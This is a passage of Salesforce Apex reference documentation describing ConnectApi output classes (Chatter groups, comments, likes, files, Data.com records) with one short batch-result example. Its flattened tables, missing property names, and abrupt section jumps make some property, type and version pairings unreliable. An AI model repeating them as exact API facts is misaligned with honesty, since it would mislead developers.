ConnectApi.ApprovalCapability Class
If a feed element has this capability, it includes information about an approval.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

String

The work item ID. The work item ID is null if there 32.0
isnt a pending work item associated with the
approval record.

postTemplate
Fields

List<ConnectApi.

The details of the approval post template field.

processInstance
StepId

String

The process instance step ID. The associated record 32.0

represents one step in an approval process.

status

ConnectApi.
WorkflowProcess
Status

The status of the approval.

32.0

ApprovalPost
TemplateField>

32.0

ConnectApi.ApprovalPostTemplateField Class
Name

37.0

ConnectApi.AssociatedActionsCapability Class
If a feed element has this capability, it has platform actions associated with it.
Property Name

Type

Description

Available Version

platformAction
Groups

List<ConnectApi.

The platform action groups associated with a feed

33.0

PlatformActionGroup> element. Platform action groups are returned in the

order specified in the

ConnectApi.AssociatedActions
CapabilityInput class.

ConnectApi.AudienceCriteria
Recommendation audience criteria.
This class is abstract.

1369

Reference

ConnectApi Output Classes

This class is a superclass of:

ConnectApi.CustomListAudienceCriteria
ConnectApi.NewUserAudienceCriteria
Property Name

Type

Description

Available Version

type

ConnectApi.
Specifies the recommendation audience criteria type. 36.0
RecommendationAudience One of these values:
CriteriaType
CustomListA custom list of users makes

up the audience.
MaxDaysInCommunityNew community
members make up the audience.

ConnectApi.BannerCapability Class
If a feed element has this capability, it has a banner motif and style.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

motif

ConnectApi.Motif A banner motif.

31.0

style

ConnectApi.BannerStyle Decorates a feed item with a color and set of icons.

31.0

Possible value:
AnnouncementAn announcement displays
in a designated location in the Salesforce UI until
11:59 p.m. on its expiration date, unless its
deleted or replaced by another announcement.

ConnectApi.BannerPhoto
A banner photo.
Property Name

Type

Description

Available Version

bannerPhotoUrl

String

URL to the banner photo in a large format. This URL 36.0

is available only to authenticated users.

bannerPhoto
VersionId

String

18-character version ID of the banner photo.

36.0

url

String

URL to the banner photo.

36.0

ConnectApi.BasicTemplateAttachment Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.EnhancedLinkCapability is
used.

1370

Reference

ConnectApi Output Classes

Subclass of ConnectApi.FeedItemAttachment Class

Objects of this type are returned by attachments in feed items with type BasicTemplate.
Property

Type

Description

Available
Version

description

String

An optional description with a 500 character limit.

28.031.0

icon

ConnectApi.Icon An optional icon.

28.031.0

linkRecordId

String

If linkURL refers to a Salesforce record, linkRecordId

contains the ID of the record.

28.031.0

linkUrl

String

An optional URL to a detail page if there is additional content

28.031.0
that cant be displayed inline. Do not specify linkUrl unless
you specify a title.

title

String

An optional title to the detail page. If linkUrl is specified, the 28.031.0

title links to linkUrl.

ConnectApi.BatchResult
The result of an operation returned by a batch method.

Namespace
ConnectApi

Usage
Calls to batch methods return a list of BatchResult objects. Each element in the BatchResult list corresponds to the strings
in the list parameter passed to the batch method. The first element in the BatchResult list matches the first string passed in the
list parameter, the second element corresponds with the second string, and so on. If only one string is passed, the BatchResult list
contains a single element.

Example
The following example shows how to obtain and iterate through the returned ConnectApi.BatchResult objects. The code
adds two group IDs to a list. One of group IDs is incorrect, which causes a failure when the code calls the batch method. After it calls the
batch method, it iterates through the results to determine whether the operation was successful or not for each group ID in the list. The
code writes the ID of every group that was processed successfully to the debug log. The code writes an error message for every failed
group.
This example generates one successful operation and one failure.
List<String> myList = new List<String>();
// Add one correct group ID.
myList.add('0F9D00000000oOT');
// Add one incorrect group ID.
myList.add('0F9D00000000izf');
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null,

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Reference

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myList);
// Iterate through each returned result.
for (ConnectApi.BatchResult batchResult : batchResults) {
if (batchResult.isSuccess()) {
// Operation was successful.
// Print the group ID.
ConnectApi.ChatterGroupSummary groupSummary;
if(batchResult.getResult() instanceof ConnectApi.ChatterGroupSummary) {
groupSummary = (ConnectApi.ChatterGroupSummary) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(groupSummary.id);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}

IN THIS SECTION:
BatchResult Methods

BatchResult Methods
The following are instance methods for BatchResult.
IN THIS SECTION:
getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.
getErrorMessage()
Returns a String that contains an error message.
getErrorTypeName()
Returns a String that contains the name of the error type.
getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example,
if you call getMembershipBatch(), a successful call to BatchResult getResult() returns a
ConnectApi.GroupMembership object.
isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.

getError()
If an error occurred, returns a ConnectApi.ConnectApiException object providing the error code and description.

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Reference

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Signature
public ConnectApi.ConnectApiException getError()

Return Value
Type: ConnectApi.ConnectApiException

getErrorMessage()
Returns a String that contains an error message.

Signature
public String getErrorMessage()

Return Value
Type: String

Usage
Note that the error message wont make a round trip through a Visualforce view state, because exceptions cant be serialized.

getErrorTypeName()
Returns a String that contains the name of the error type.

Signature
public String getErrorTypeName()

Return Value
Type: String

getResult()
Returns an object that contains the results of the batch operation. The object is typed according to the batch method. For example, if
you call getMembershipBatch(), a successful call to BatchResult getResult() returns a
ConnectApi.GroupMembership object.

Signature
public Object getResult()

Return Value
Type: Object

1373

Reference

ConnectApi Output Classes

isSuccess()
Returns a Boolean that is set to true if the batch operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

ConnectApi.BlankRecordField Class
Subclass of ConnectApi.AbstractRecordField Class
A record field displayed as a place holder in a grid of fields.

ConnectApi.BookmarksCapability Class
If a feed element has this capability, the current user can bookmark it.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

isBookmarked
ByCurrentUser

Boolean

Indicates whether the feed element has been

bookmarked by the current user (true) or not
(false).

32.0

ConnectApi.BundleCapability Class
If a feed element has this capability, it has a container of feed elements called a bundle.
This class is abstract.
Subclass of ConnectApi.FeedElementCapability Class.
Superclass of:
ConnectApi.GenericBundleCapability Class
ConnectApi.TrackedChangeBundleCapability
.
Property Name

Type

Description

Available Version

bundleType

ConnectApi.BundleType Defines this feed element's bundle type. The bundle 31.0

type determines what additional information appears

in the bundle.
page

ConnectApi.
FeedElementPage

A collection of feed elements.

1374

31.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

totalElements

Integer

The total number of feed elements that this bundle 31.0

aggregates.

ConnectApi.CanvasCapability Class
If a feed element has this capability, it renders a canvas app.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

description

String

A description of the canvas app. The maximum size 32.0

is 255 characters.

developerName

String

The API name (developer name) of the connected

app.

32.0

ConnectApi.CanvasTemplateAttachment Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.CanvasCapability Class is used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned by attachments in feed items with type CanvasPost.
Property

Type

Description

description

String

Optional. Description of the canvas app. The maximum length of this 29.031.0
field is 500 characters.

developerName

String

Specifies the developer name (API name) of the canvas app.

height

String

Optional. The height of the canvas app in pixels. Default height is 200 29.031.0
pixels.

icon

ConnectApi.Icon The canvas app icon.

Description

Available
Version
28.031.0

CustomerServiceif a service representative made the

comment

createdBy

ConnectApi. Comments creator

User
Summary

28.031.0

createdDate

Datetime

ISO8601 date string, for example, 2011-02-25T18:24:31.000Z

28.031.0

String

Comments 18character ID

28.031.0

published

Boolean

Specifies whether the comment has been published

28.031.0

text

String

Comments text

28.031.0

ConnectApi.CaseCommentCapability Class
If a feed element has this capability, it has a case comment on the case feed.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

actorType

ConnectApi.
CaseActorType

Specifies the type of user who made the comment. 32.0

createdBy

ConnectApi.Actor Information about the user who created the

comment.

1376

Available Version

32.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

createdDate

Datetime

ISO8601 date string, for example,

2011-02-25T18:24:31.000Z.

32.0

eventType

ConnectApi.
CaseComment
EventType

Specifies an event type for a comment in the case

feed.

32.0

String

18-character ID of case comment.

32.0

published

Boolean

Specifies whether the comment has been published. 32.0

text

String

Text of the case comment.

32.0

ConnectApi.ChatterActivity Class
Name

Type

Description

Available
Version

commentCount

Integer

Total number of comments in the organization or community made

by the user

28.0

commentReceivedCount Integer

Total number of comments in the organization or community received 28.0

by the user

likeReceivedCount Integer

Total number of likes on posts and comments in the organization or

community received by the user

postCount

Integer

28.0

Total number of posts in the organization or community made by the 28.0

user

ConnectApi.ChatterConversation Class
Name

Type

Description

Available Version

conversationId String

The ID for the conversation

29.0

conversationUrl String

Chatter REST API URL identifying the conversation

29.0

members

List<ConnectApi. List of users in the conversation

UserSummary>

29.0

messages

ConnectApi.
Chatter
MessagePage

The content of the conversation

29.0

read

Boolean

Specifies if the conversation is read (true) or not read

(false)

29.0

1377

Reference

ConnectApi Output Classes

ConnectApi.ChatterConversationPage Class
Name

Type

Description

Available
Version

conversations

List<ConnectApi.Chatter
ConversationSummary>

List of conversations on the page

29.0

currentPageToken String

Token identifying the current page.

29.0

currentPageUrl String

Chatter REST API URL identifying the current page.

29.0

nextPageToken

String

Token identifying the next page or null if there is no 29.0

next page.

nextPageUrl

String

Chatter REST API URL identifying the next page or

29.0
null if there isnt a next page. Check whether this
value is null before getting another page. If a page
doesnt exist, a
ConnectApi.NotFoundException error is
returned.

ConnectApi.ChatterConversationSummary Class
Name

Type

Description

Available
Version

String

The ID for the conversation summary

29.0

latestMessage

ConnectApi.ChatterMessage

The contents of the latest message

29.0

members

List<ConnectApi.UserSummary> List of members in the conversation

read

Boolean

Specifies if the conversation is read (true) or not read 29.0

(false)

url

String

Chatter REST API URL to the conversation summary

ConnectApi.ChatterGroup Class
This class is abstract.
Subclass of ConnectApi.ActorWithId Class
Superclass of:
ConnectApi.ChatterGroupDetail Class
ConnectApi.ChatterGroupSummary Class

1378

29.0

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

additional
Label

String

An additional label for the group, for example, Archived, Private, or Private 30.0
With Customers. If there isnt an additional label, the value is null.

announcement

ConnectApi. The current announcement for this group. An announcement displays in a 31.0
Announcement designated location in the Salesforce UI until 11:59 p.m. on its expiration date,

unless its deleted or replaced by another announcement.

bannerPhoto

ConnectApi.
BannerPhoto

The banner photo for the group.

36.0

canHave
ChatterGuests

Boolean

true if this group allows Chatter guests

28.0

community

ConnectApi.
Reference

Information about the community the group is in

28.0

description

String

Groups description

28.0

Groups email address for posting to this group by email.

30.0

emailTo
String
ChatterAddress

isArchived

Boolean

isAuto
Boolean
ArchiveDisabled
isBroadcast

Boolean

Returns null if Chatter emails and posting to Chatter by email arent both
enabled in your organization.
Specifies whether the group is archived (true) or not (false).

29.0

Specifies whether automatic archiving is disabled for the group (true) or

not (false).

29.0

Specifies whether the group is a broadcast group (true) or not (false). 36.0
In a broadcast group, only group owners and managers can post to the group.

lastFeedElement Datetime
PostDate

ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, of the most

recent feed element posted to the group.

31.0

Datetime

ISO8601 date string, for example, 2011-02-25T18:24:31.000Z, of the most

recent feed item posted to the group.

28.030.0

lastFeedItem
PostDate

Use lastFeedElementPosted.
memberCount

Integer

Total number of group members

28.0

myRole

ConnectApi. Specifies the type of membership the user has with the group, such as group 28.0
GroupMembership owner, manager, or member.
Type Enum
GroupOwner

GroupManager
NotAMember
NotAMemberPrivateRequested
StandardMember
mySubscription ConnectApi.
Reference

If the context user is a member of this group, contains information about that 28.0
subscription; otherwise, returns null.

1379

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

name

String

Name of the group

28.0

owner

ConnectApi.
UserSummary

Information about the owner of the group

28.0

photo

ConnectApi.Photo Information about the group photo

visibility

ConnectApi. Specifies the group visibility type. Valid values are:

28.0
GroupVisibility PrivateAccessOnly members of the group can see posts to this
Type Enum
group.

28.0

PublicAccessAll users within the community can see posts to this

group.
UnlistedReserved for future use.

ConnectApi.ChatterGroupDetail Class
Subclass of ConnectApi.ChatterGroup Class
Name

Type

Description

Available
Version

fileCount

Integer

The number of files posted to the group.

28.0

information

ConnectApi. Describes the Information section of the group. In the Web UI, this section 28.0
is above the Description section. If the group is private, this section is
Group
Information visible only to members. If the context user is not a member of the group

or does not have Modify All Data or View All Data permission, this value
is null.
pending
Requests

Integer

The number of requests to join a group that are in a pending state.

29.0

ConnectApi.ChatterGroupPage Class
Name

Type

currentPageUrl String

Description

Available
Version

Chatter REST API URL identifying the current page.

28.0

groups

List<ConnectApi. List of group details

Chatter
Group
Detail>

nextPageUrl

String

28.0

Chatter REST API URL identifying the next page or null if there isnt a 28.0
next page. Check whether this value is null before getting another page.

1380

Reference

Name

ConnectApi Output Classes

Type

Description

Available
Version

If a page doesnt exist, a ConnectApi.NotFoundException error

is returned.
previous
PageUrl

String

Chatter REST API URL identifying the previous page or null if there isnt 28.0
a previous page.

ConnectApi.ChatterGroupSummary Class
Subclass of ConnectApi.ChatterGroup Class
Name

Type

Description

Available
Version

fileCount

Integer

The number of files posted to the group.

28.0

ConnectApi.ChatterGroupSummaryPage Class
Name

Type

currentPageUrl String

Description

Available
Version

Chatter REST API URL identifying the current page.

29.0

groups

List<ConnectApi. List of group summary objects

ChatterGroup
Summary>

29.0

nextPageUrl

String

Chatter REST API URL identifying the next page or null if there 29.0
isnt a next page. Check whether this value is null before
getting another page. If a page doesnt exist, a
ConnectApi.NotFoundException error is returned.

previousPageUrl String

Chatter REST API URL identifying the previous page or null if 29.0
there isnt a previous page.

ConnectApi.ChatterLike Class
Name

Type

Description

Available
Version

String

Likes 18-character ID

28.0

likedItem

ConnectApi.
Reference

A reference to the liked comment or feed element.

28.0

url

String

Likes Chatter REST API URL

28.0

1381

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

user

ConnectApi.User
Summary

Likes creator

28.0

ConnectApi.ChatterLikePage Class
Name

Type

Description

Available
Version

currentPageToken Integer

Token identifying the current page.

28.0

currentPageUrl String

Chatter REST API URL identifying the current page.

28.0

items

List<ConnectApi. List of likes

ChatterLike>

32.0

likes

List<ConnectApi. List of likes

ChatterLike>

28.031.0

Important: As of API version 32.0, use the items

property.

nextPageToken

Integer

Token identifying the next page or null if there is no next page. 28.0

nextPageUrl

String

Chatter REST API URL identifying the next page or null if there 28.0
isnt a next page. Check whether this value is null before getting
another page. If a page doesnt exist, a
ConnectApi.NotFoundException error is returned.

previousPageToken Integer

Token identifying the previous page or null if there is no

previous page.

28.0

previousPageUrl String

Chatter REST API URL identifying the previous page or null if

there isnt a previous page.

28.0

Total number of likes across all pages

28.0

total

Integer

ConnectApi.ChatterLikesCapability Class
If a feed element has this capability, the context user can like it. Exposes information about existing likes.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

isLikedBy
CurrentUser

Boolean

Indicates whether the feed element is liked by the

current user (true) or not (false).

32.0

page

ConnectApi.
ChatterLikePage

Likes information for this feed element.

32.0

1382

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

likesMessage

ConnectApi.
MessageBody

A message body that describes who likes the feed

element.

32.0

myLike

ConnectApi.
Reference

If the context user has liked the feed element, this

property is a reference to the specific like, null
otherwise.

32.0

ConnectApi.ChatterMessage Class
Name

Type

Description

Available
Version

body

ConnectApi.MessageBody

Contents of the message

29.0

conversationId String

The ID for the conversation

29.0

conversationUrl String

Chatter REST API URL identifying the conversation

29.0

The ID of the message

29.0

String

recipients

List<ConnectApi.UserSummary> List of the recipients of the message

sender

ConnectApi.UserSummary

sendingCommunity ConnectApi.Reference

29.0

The sender of the message

29.0

Information about the community from which the

messages

List<ConnectApi.ChatterMessage> The messages on the current page

nextPageToken

String

Token identifying the next page or null if there is 29.0

no next page.

nextPageUrl

String

Chatter REST API URL identifying the next page or

29.0
null if there isnt a next page. Check whether this

1383

29.0

Reference

Name

ConnectApi Output Classes

Type

Description

Available
Version

value is null before getting another page. If a page

doesnt exist, a
ConnectApi.NotFoundException error is
returned.

ConnectApi.ClientInfo Class
Name

Type

Description

Available
Version

applicationName String

Name of the connected app used for authentication.

28.0

applicationUrl String

Value from the Info URL field of the connected app used for
authentication

28.0

ConnectApi.Comment Class
Name

Type

Description

Available
Version

attachment

ConnectApi.FeedItem If the comment contains an attachment, property value is 28.0-31.0

ContentAttachment. If the comment does not contain
Attachment
an attachment, it is null.

Important: As of version 32.0, use the

capabilities property.
body

ConnectApi.FeedBody Body of the comment

28.0

capabilities

ConnectApi.
Capabilities associated with the comment, such as any file
CommentCapabilities attachments.

32.0

clientInfo

ConnectApi.
ClientInfo

Information about the connected app used to authenticate 28.0

the connection

createdDate

Datetime

ISO8601 date string, for example, 2011-02-25T18:24:31.000Z 28.0

feedElement

ConnectApi.
Reference

Feed element on which the comment is posted.

feedItem

ConnectApi.
Reference

Feed item on which the comment is posted.

String

Comments 18character ID

28.0-31.0

Important: As of version 32.0, use the

feedElement property.

1384

28.0

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

isDelete
Restricted

Boolean

If this property is true, the context user cannot delete the 28.0
comment. If it is false, it might be possible for the context
user to delete the comment, but it is not guaranteed.

likes

ConnectApi.Chatter
LikePage

The first page of likes for the comment

28.0

likesMessage

ConnectApi.Message
Body

A message body that describes who likes the comment.

28.0

moderation
Flags

ConnectApi.
ModerationFlags

Information about the moderation flags on a comment. If

29.0

ConnectApi.Features.communityModeration

is false, this property is null.

myLike

ConnectApi.
Reference

If the context user has liked the comment, this property is a 28.0
reference to the specific like, null otherwise

parent

ConnectApi.
Reference

Information about the parent feed-item for this comment

28.0

relativeCreatedDate String

The created date formatted as a relative, localized string, for 28.0

example, 17m ago or Yesterday.

type

Specifies the type of comment.

ConnectApi.
CommentType Enum

28.0

ContentCommentComment holds a content

capability.
TextCommentComment contains only text.

url

String

Chatter REST API URL to this comment

28.0

user

ConnectApi.User
Summary

Information about the comment author

28.0

ConnectApi.CommentCapabilities Class
A set of capabilities on a comment.
Property Name

Type

Description

content

ConnectApi.
If a comment has this capability, it has a file
ContentCapability attachment.

Available Version
32.0

Most ConnectApi.ContentCapability
properties are null if the content has been deleted
from the feed element or if the access has changed
to private.
edit

ConnectApi.
EditCapability

If a comment has this capability, users who have

permission can edit it.

1385

34.0

Reference

ConnectApi Output Classes

ConnectApi.CommentPage Class
Name

Type

Description

Available
Version

comments

List<ConnectApi. Collection of comments

Comment>
Important: As of version 32.0, use the items property.

Chatter REST API URL identifying the next page or null if there isnt a 28.0
next page. Check whether this value is null before getting another
page. If a page doesnt exist, a ConnectApi.NotFoundException
error is returned.
If you want to read more of the comments in search results, all the
comments in the thread are refreshed, not just the ones that match the
search term. Avoid using nextPageUrl until the comments are
refreshed.

total

Integer

Total number of comments for the parent feed element

name

String

Community name

28.0

nicknameDisplay Boolean
Enabled

Specifies whether nicknames are displayed in the community.

32.0

privateMessages Boolean
Enabled

Specifies whether members of the community can send and receive

30.0
private messages to and from other members of the community (true)
or not (false).

reputationEnabled Boolean

Specifies whether reputation is calculated and displayed for members of 31.0

Type

Description

Available Version

total

Integer

Total number of communities

28.0

ConnectApi.ComplexSegment Class
This class is abstract.
Subclass of ConnectApi.MessageSegment Class
Superclass of ConnectApi.FieldChangeSegment Class
ComplexSegments are only part of field changes.
Name

Type

Description

Available Version

segments

List<ConnectApi.
MessageSegment>

List of message segments.

28.0

ConnectApi.CompoundRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field that is a composite of subfields.
Name

Type

Description

Available Version

fields

List<ConnectApi. A collection of subfields that make up the compound field. 29.0

Abstract
RecordField>

ConnectApi.Content
A file attached to a feed item.
Property Name

Type

Description

returns unknown.

36.0

fileType

String

Type of file, such as PDF.

36.0

hasPdfPreview

Boolean

true if the file has a PDF preview available; false 36.0

otherwise.

1388

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

String

18-character ID of the content.

36.0

isInMyFileSync

Boolean

true if the file is synced with Salesforce Files Sync. 36.0

mimeType

String

MIME type of the file.

renditionUrl

String

URL to the rendition resource for the file. For shared 36.0
files, renditions process asynchronously after upload.
For private files, renditions process when the first file
preview is requested, and arent available
immediately after the file is uploaded.

renditionUrl
240By180

String

URL to the 240 x 180 pixel rendition resource for the 36.0
file. For shared files, renditions process
asynchronously after upload. For private files,
renditions process when the first file preview is
requested, and arent available immediately after the
file is uploaded.

renditionUrl
720By480

String

URL to the 720 x 480 pixel rendition resource for the 36.0
file. For shared files, renditions process
asynchronously after upload. For private files,
renditions process when the first file preview is
requested, and arent available immediately after the
file is uploaded.

sharingOption

ConnectApi.
Sharing option of the file. Values are:
FileSharingOption AllowedResharing of the file is allowed.

36.0

RestrictedResharing of the file is

restricted.
textPreview

String

Text preview of the file if available; null otherwise. 36.0

thumb120By90
RenditionStatus

String

Specifies the rendering status of the 120 x 90 preview 36.0

image of the file. One of these values:
ProcessingImage is being rendered.
FailedRendering process failed.
SuccessRendering process was successful.
NaRendering is not available for this image.

thumb240By180
RenditionStatus

String

Specifies the rendering status of the 240 x 180

preview image of the file. One of these values:
ProcessingImage is being rendered.
FailedRendering process failed.
SuccessRendering process was successful.
NaRendering is not available for this image.

1389

36.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

thumb720By480
RenditionStatus

String

Specifies the rendering status of the 720 x 480

preview image of the file. One of these values:

36.0

ProcessingImage is being rendered.

downloadUrl

String

Files URL. This value is null if the content is a link or a Google Doc. 28.031.0

fileExtension

String

Files extensionConnectApi.UserSummary Class

28.031.0

fileSize

String

Size of the file in bytes. If size cannot be determined, returns

unknown.

28.031.0

fileType

String

Type of file

28.031.0

true if the file has a preview image available, otherwise ,false

28.029.0

hasImagePreview Boolean
hasPdfPreview

Boolean

true if the file has a PDF preview available, otherwise, false

28.031.0

String

Contents 18-character ID

28.031.0

isInMyFileSync Boolean

true if the file is synced withSalesforce Files Sync; false otherwise. 28.031.0

mimeType

String

Files MIME type

28.031.0

renditionUrl

String

URL to the files rendition resource

28.031.0

renditionUrl
240By180

String

URL to the 240 x 180 rendition resource for the file.For shared files,
30.031.0
renditions process asynchronously after upload. For private files,
renditions process when the first file preview is requested, and arent
available immediately after the file is uploaded.

1390

Reference

ConnectApi Output Classes

Name

Type

Description

renditionUrl
720By480

String

URL to the 720 x 480 rendition resource for the file.For shared files,
30.031.0
renditions process asynchronously after upload. For private files,
renditions process when the first file preview is requested, and arent
available immediately after the file is uploaded.

textPreview

String

Text preview of the file if available; null otherwise.

30.031.0

Specifies the rendering status of the 120 x 90 preview image of the

file. One of these values:

30.031.0

thumb120By90
String
RenditionStatus

Available Version

ProcessingImage is being rendered.

FailedRendering process failed.
SuccessRendering process was successful.
NaRendering is not available for this image.
thumb240By180 String
RenditionStatus

Specifies the rendering status of the 240 x 180 preview image of the
file. One of these values:

30.031.0

ProcessingImage is being rendered.

FailedRendering process failed.
SuccessRendering process was successful.
NaRendering is not available for this image.
thumb720By480 String
RenditionStatus

Specifies the rendering status of the 720 x 480 preview image of the
file. One of these values:

30.031.0

ProcessingImage is being rendered.

true if the file has a PDF preview available, false 32.0

32.0

otherwise.
id

String

18-character ID of the content.

32.0

isInMyFileSync

Boolean

true if the file is synced withSalesforce Files Sync; 32.0

false otherwise.

mimeType

String

MIME type of the file.

renditionUrl

String

URL to the rendition resource for the file. Renditions 32.0

are processed asynchronously and may not be
available immediately after the file has been
uploaded.

32.0

renditionUrl240By180 String

URL to the 240x180 size rendition resource for the

file. Renditions are processed asynchronously and
may not be available immediately after the file has
been uploaded.

32.0

renditionUrl720By480 String

URL to the 720x480 size rendition resource for the

file. Renditions are processed asynchronously and
may not be available immediately after the file has
been uploaded.

32.0

sharingOption

ConnectApi.
Sharing option of the file. Values are:
FileSharingOption AllowedResharing of the file is allowed.

35.0

RestrictedResharing of the file is

restricted.
textPreview

String

Text preview of the file if available, null otherwise. 32.0

The maximum number of characters is 200.

thumb120By90
RenditionStatus

String

The status of the rendering of the 120x90 pixel sized 32.0

preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.

thumb240By180
RenditionStatus

String

The status of the rendering of the 240x180 pixel sized 32.0

preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.

1392

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

thumb720By480
RenditionStatus

String

The status of the rendering of the 720x480 pixel sized 32.0

preview image of the file. Should be either
Processing, Failed, Success, or Na if unavailable.

title

String

Title of the file.

32.0

versionId

String

Version ID of the file.

32.0

ConnectApi.CurrencyRecordField Class
Subclass of ConnectApi.LabeledRecordField Class
A record field containing a currency value.

ConnectApi.CustomListAudienceCriteria
The criteria for the custom list type of recommendation audience.
Subclass of ConnectApi.AudienceCriteria.
Property Name

Type

Description

Available Version

memberCount

Integer

Total number of members in the recommendation

audience.

36.0

members

ConnectApi.
The members of the recommendation audience.
UserReferencePage

36.0

ConnectApi.DashboardComponentAttachment Class
Important: This class isnt available in version 32.0 and later. In version 32.0 and later, ConnectApi.DashboardComponent
SnapshotCapability is used.
Subclass of ConnectApi.FeedItemAttachment Class
Objects of this type are returned as attachments in feed items with type DashboardSnapshot.
Name

Type

Description

Available Version

componentId

String

Components 18character ID

28.031.0

componentName

String

Name of the component. If no name is saved with the component,

returns the localized string, Untitled Component.

28.031.0

dashboardBodyText String

Text displayed next to the actor in the body of a feed item. This is used 28.031.0
instead of the default body text. If no text is specified, and there is no
default body text, returns null.

dashboardId

String

Dashboards 18character ID

28.031.0

dashboardName

String

Name of the dashboard.

28.031.0

1393

Reference

Name

ConnectApi Output Classes

Type

Description

32.0

Snapshot

ConnectApi.DashboardComponentSnapshot
Represents both dashboard component snapshots and alerts you receive when a dashboard component value crosses a threshold.
Property Name

Type

Description

Available Version

componentId

32.0

The source URL to retrieve the full-size image of a

snapshot. Access this URL with OAuth credentials.

32.0

ISO-8601 formatted date specifying when this

dashboard component was last refreshed.

32.0

fullSizeImageUrl String

lastRefreshDate

Datetime

1394

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

lastRefresh
DateDisplayText

String

Display text for the last refresh date, for example, Last 32.0
Refreshed on October 31, 2013.

runningUser

ConnectApi.
UserSummary

The running user of the dashboard at the time the 32.0

snapshot was posted. This value may be null. Each
dashboard has a running user, whose security settings
determine which data to display in a dashboard.

thumbnailUrl

String

The source URL to retrieve the thumbnail image of a 32.0

snapshot. Access this URL with OAuth credentials.

ConnectApi.DatacloudCompany Class
Information about a Data.com company.
All company information is visible for companies that you purchased and own. If you havent purchased a company, some of the fields
are hidden. Hidden fields are fully or partially hidden by asterisks ***.
Property Name

Type

activeContacts Integer

Description

Available Version

The number of active Data.com contacts who

work in the company.

company.

1395

String

Standard Industrial Codes (SIC) is a numbering 32.0

convention that indicates what type of service
a business provides. Its a four-digit value.
A description of the SIC classification.

32.0

Companys site. For example, HQ, Single

Location, or Branch.

32.0

An organization status of the company.

Branch: a secondary location to a
headquarter location.
Headquarter: the parent company has
branches or subsidiaries.
Single Location: a single business with no
subsidiaries or branches.

1396

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

tickerSymbol

String

The symbol that uniquely identifies companies 32.0

that are traded on public stock exchanges.

tradeStyle

String

A legal name under which a company conducts 32.0

business.

updatedDate

Datetime

The date of the most recent change to this

companys information.

website

String

The standard URL for the companys home page. 32.0

yearStarted

String

The year when the company was founded.

32.0

ConnectApi.DatacloudCompanies Class
Lists all companies that were purchased in a specific order, page URLs, and the number of companies in the order.
Property Name

Type

Description

Available
Version

companies

ConnectApi.DatacloudCompany

A detailed list of companies that were

part of a single order.

32.0

currentPageUrl

String

The URL for the current page of a list of 32.0

companies.

nextPageUrl

String

Chatter REST API URL identifying the

32.0
next page or null if there isnt a next
page. Check whether this value is null
before getting another page. If a page
doesnt exist, a
ConnectApi.NotFoundException

error is returned.
previousPageUrl

String

The URL to the previous page of

32.0
companies that were viewed before the
current page. If this value is null,
theres no previous page.

total

Integer

The number of companies in the order. 32.0

You can calculate the number of pages
to display by dividing this number by
your page size. The default page size is
25.

ConnectApi.DatacloudContact Class
Information about a Data.com contact.

1397

Reference

ConnectApi Output Classes

All contact information is visible for contacts that you purchased. If you have not purchased a contact, some of the fields will be hidden.
Hidden fields are fully or partially hidden by asterisks ***.
Property Name

Type

Description

Available Version

address

ConnectApi.Address

The contacts business address.

32.0

companyId

String

A unique numerical identifier for the company where 32.0

the contact works. This is the Data.com identifier for
a company.

companyName

String

The company name where the contact works.

contactId

String

32.0

isInactive

Boolean

Whether this contact is active (true) or not (false).

Inactive contacts have out-of-date information in
Data.com.

32.0

isOwned

Boolean

Whether this contact is owned (true) or not (false).

32.0

lastName

String

The last name of the contact.

32.0

level

String

A human resource label that designates a persons 32.0

level in the company. Here are some possible levels.
C-Level
Director
Manager
Staff

phoneNumbers

ConnectApi.PhoneNumber Telephone numbers for the contact, which can

include direct-dial business telephone numbers,
mobile telephone numbers, and business
headquarters telephone numbers. The type of
telephone number is also indicated.

title

String

32.0

The title of the contact, such as CEO or Vice President. 32.0

1398

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

updatedDate

Datetime

The date of the most recent change to this contacts 32.0

information.

ConnectApi.DatacloudContacts Class
Lists all contacts that were purchased in the specific order, page URLs, and the number of contacts in the order.
Property Name

Type

Description

Available Version

contacts

List

A detailed list of purchased contacts.

32.0

currentPageUrl

String

URL to the current page of contacts.

32.0

url

String

GET request URL for this order.

32.0

ConnectApi.DatacloudPurchaseUsage Class
Information about Data.com point usage for monthly and list pool users.

1399

Reference

ConnectApi Output Classes

Property Name

Type

Description

29.0

Ignore the trailing 00:00:00.000Z characters.

ConnectApi.DigestJob
Represents a successfully enqueued API digest job request.
Property Name

Type

Description

Available Version

period

ConnectApi.
DigestPeriod

Specifies the period of time that is included in a

